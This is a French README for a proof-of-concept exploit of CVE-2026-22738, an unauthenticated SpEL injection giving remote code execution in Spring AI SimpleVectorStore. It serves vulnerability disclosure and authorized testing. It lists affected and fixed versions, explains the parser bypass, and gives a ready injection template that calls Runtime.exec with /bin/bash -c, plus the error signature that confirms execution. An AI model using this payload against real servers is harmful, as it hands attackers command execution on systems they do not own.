
Preuve de concept d'exploitation pour CVE-2026-22738, une injection SpEL critique permettant l'exécution de code à distance (RCE) dans Spring AI SimpleVectorStore, démontrant l'exécution de commandes système sans authentification.
Exécution de code à distance non authentifiée via une injection dans Spring Expression Language (SpEL) dans SimpleVectorStore.similaritySearch().
| Artifact | Vulnérable | Corrigé |
|---|
org.springframework.ai:spring-ai-core | 1.0.0 – 1.0.4 | 1.0.5 |
org.springframework.ai:spring-ai-core | 1.1.0-M1 – 1.1.3 | 1.1.4 |
Commit de correction : ba9220b22383e430d5f801ce8e4fa01cf9e75f29
SimpleVectorStore.similaritySearch() transmet tel quel le nom de clé de filtre fourni par l'appelant dans un modèle SpEL évalué par StandardEvaluationContext. Comme StandardEvaluationContext expose l'ensemble de l'API de réflexion JVM, un attaquant peut injecter :
T(java.lang.Runtime).getRuntime().exec(...)
dans la clé de filtre pour obtenir une exécution de commandes OS non authentifiée.
L'injection naïve ne fonctionne pas directement — deux particularités du parseur doivent être contournées :
' est traitée comme une chaîne entre guillemets ; les guillemets externes sont supprimés, ce qui altère la charge utile."..." amène le parseur à supprimer les guillemets doubles externes, laissant l'expression SpEL interne intacte comme valeur de clé transmise à #metadata['<KEY>'].#metadata[''] des deux côtés de l'expression injectée (au lieu d'une variable non définie) évite une erreur SpEL unknown variable tout en déclenchant exec().L'expression évaluée résultante prend la forme :
#metadata[''] + T(java.lang.Runtime).getRuntime().exec(new String[]{'/bin/bash','-c','<cmd>'}) + #metadata[''] == 'x'
Le corps de la réponse HTTP contiendra EL1030E — l'erreur d'exécution SpEL :
operator ADD not supported between null and java.lang.ProcessImpl
Cette erreur est levée après le retour de exec(), confirmant l'exécution de commandes au niveau OS sans nécessiter de rappel hors bande.
Prérequis :
pip install requests
Exécuter l'exploit :
python3 exploit.py [--target http://localhost:8082] [--wait]

Docker Desktop (macOS/Windows) : utiliser host.docker.internal au lieu de 127.0.0.1 pour les charges utiles de rappel.
Le PoC exécute cinq étapes séquentielles :
| Étape | Description |
|---|---|
| 1 | Vérification de base — confirmer que le point de terminaison est accessible et renvoie les données initiales |
| 2 | Sonde SpEL aveugle — lire java.version via T(java.lang.System) pour confirmer le point d'injection |
| 3 | RCE : touch /tmp/pwned_cve_2026_22738 dans le conteneur |
| 4 | RCE : écrire la sortie de id / uname / hostname dans /tmp/rce_proof.txt |
| 5 | Vérification via docker exec — afficher le contenu du fichier de preuve |
Cette preuve de concept est fournie à des fins éducatives et de tests de sécurité autorisés uniquement. Ne l'utilisez pas contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation écrite explicite de test.